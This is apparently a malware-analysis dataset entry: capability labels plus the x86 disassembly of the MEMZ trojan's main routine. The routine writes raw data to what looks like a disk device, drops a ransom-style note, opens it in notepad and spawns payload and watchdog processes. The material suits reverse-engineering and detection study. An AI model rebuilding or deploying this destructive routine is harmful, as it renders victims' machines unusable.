Function at 0x40122d
Capabilities:
Accept command line arguments
Create process on windows
Create thread
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
xor ebx, ebx
push edi
push ebx
call esi
push 1
mov dword [0x405184], eax
call esi
mov dword [0x405188], eax
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
cmp dword [ebp - 4], 1
jle 0x40144f
push str._watchdog
push dword [eax + 4]
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x401308
push ebx
push ebx
push ebx
push 0x40114a
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea eax, [ebp - 0x58]
mov dword [ebp - 0x58], 0x30
mov esi, 0x403738
mov dword [ebp - 0x50], 0x401000
push eax
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x2c], ebx
call dword [sym.imp.USER32.dll_RegisterClassExA]
push ebx
push ebx
push ebx
push ebx
push 0x64
push 0x64
push ebx
push ebx
push ebx
push ebx
push esi
push ebx
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov esi, dword [sym.imp.USER32.dll_GetMessageW]
jmp 0x4012fb
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
push ebx
push ebx
push ebx
lea eax, [ebp - 0x28]
push eax
call esi
test eax, eax
jg 0x4012e7
push ebx
push ebx
push 3
push ebx
push 3
push 0xc0000000
push str.BETn
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
mov dword [ebp - 8], ebx
cmp ebx, 0xffffffff
jne 0x401331
push 2
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x10000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
xor edi, edi
mov esi, eax
cmp dword [0x4029e8], edi
jbe 0x401362
mov edx, 0x402118
mov ecx, esi
sub edx, esi
mov al, byte [edx + ecx]
inc edi
mov byte [ecx], al
inc ecx
cmp edi, dword [0x4029e8]
jb 0x401353
xor ecx, ecx
cmp dword [0x4029ec], ecx
jbe 0x401382
mov al, byte [ecx + 0x402248]
mov byte [esi + ecx + 0x1fe], al
inc ecx
cmp ecx, dword [0x4029ec]
jb 0x40136c
push 0
lea eax, [ebp - 0xc]
push eax
push 0x10000
push esi
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
call ebx
test eax, eax
jne 0x40139f
push 3
jmp 0x40132b
push dword [ebp - 8]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push 0
push 0x80
push 2
push 0
push 3
push 0xc0000000
push str._note.txt
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4013d5
push 4
jmp 0x40132b
push 0
lea eax, [ebp - 0xc]
push eax
push dword [0x402acc]
push str.YOUR_COMPUTER_HAS_BEEN
push esi
call ebx
test eax, eax
jne 0x4013f4
push 5
jmp 0x40132b
push esi
call edi
push 0xa
xor ebx, ebx
push ebx
push str._note.txt
push str.notepad
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp dword [0x4039dc], ebx
mov edi, ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
jbe 0x401446
mov esi, 0x405130
push dword [esi + 4]
call ebx
xor eax, eax
push eax
push eax
push esi
push 0x401a2b
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
inc edi
add esi, 8
cmp edi, dword [0x4039dc]
jb 0x401423
push 0x2710
call ebx
jmp 0x401446
mov esi, dword [sym.imp.USER32.dll_MessageBoxA]
mov edi, str.MEMZ
push 0x34
push edi
push str.The_software_you_just_executed_is_considered_malware._r_nThis_malware_will_harm_your_computer_and_makes_it_unusable._r_nIf_you_are_seeing_this_message_without_knowing_what_you_just_executed__simply_press_No_and_nothing_will_happen._r_nIf_you_know_what_this_malware_does_and_are_using_a_safe_environment_to_test__press_Yes_to_start_it._r_n_r_nDO_YOU_WANT_TO_EXECUTE_THIS_MALWARE__RESULTING_IN_AN_UNUSABLE_MACHINE_
push ebx
call esi
cmp eax, 6
jne 0x4014f6
push 0x34
push edi
push str.THIS_IS_THE_LAST_WARNING__r_n_r_nTHE_CREATOR_IS_NOT_RESPONSIBLE_FOR_ANY_DAMAGE_MADE_USING_THIS_MALWARE__r_nSTILL_EXECUTE_IT_
push ebx
call esi
cmp eax, 6
jne 0x4014f6
push GetWindowRect
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push 0x2000
mov esi, eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 5
pop edi
push 0xa
push ebx
push str._watchdog
push esi
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
sub edi, 1
jne 0x40149d
lea eax, [ebp - 0x64]
mov dword [ebp - 0x64], 0x3c
push eax
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x50], str._main
mov dword [ebp - 0x60], 0x40
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x48], 0xa
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
push 0x80
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push ebx
jmp 0x40132b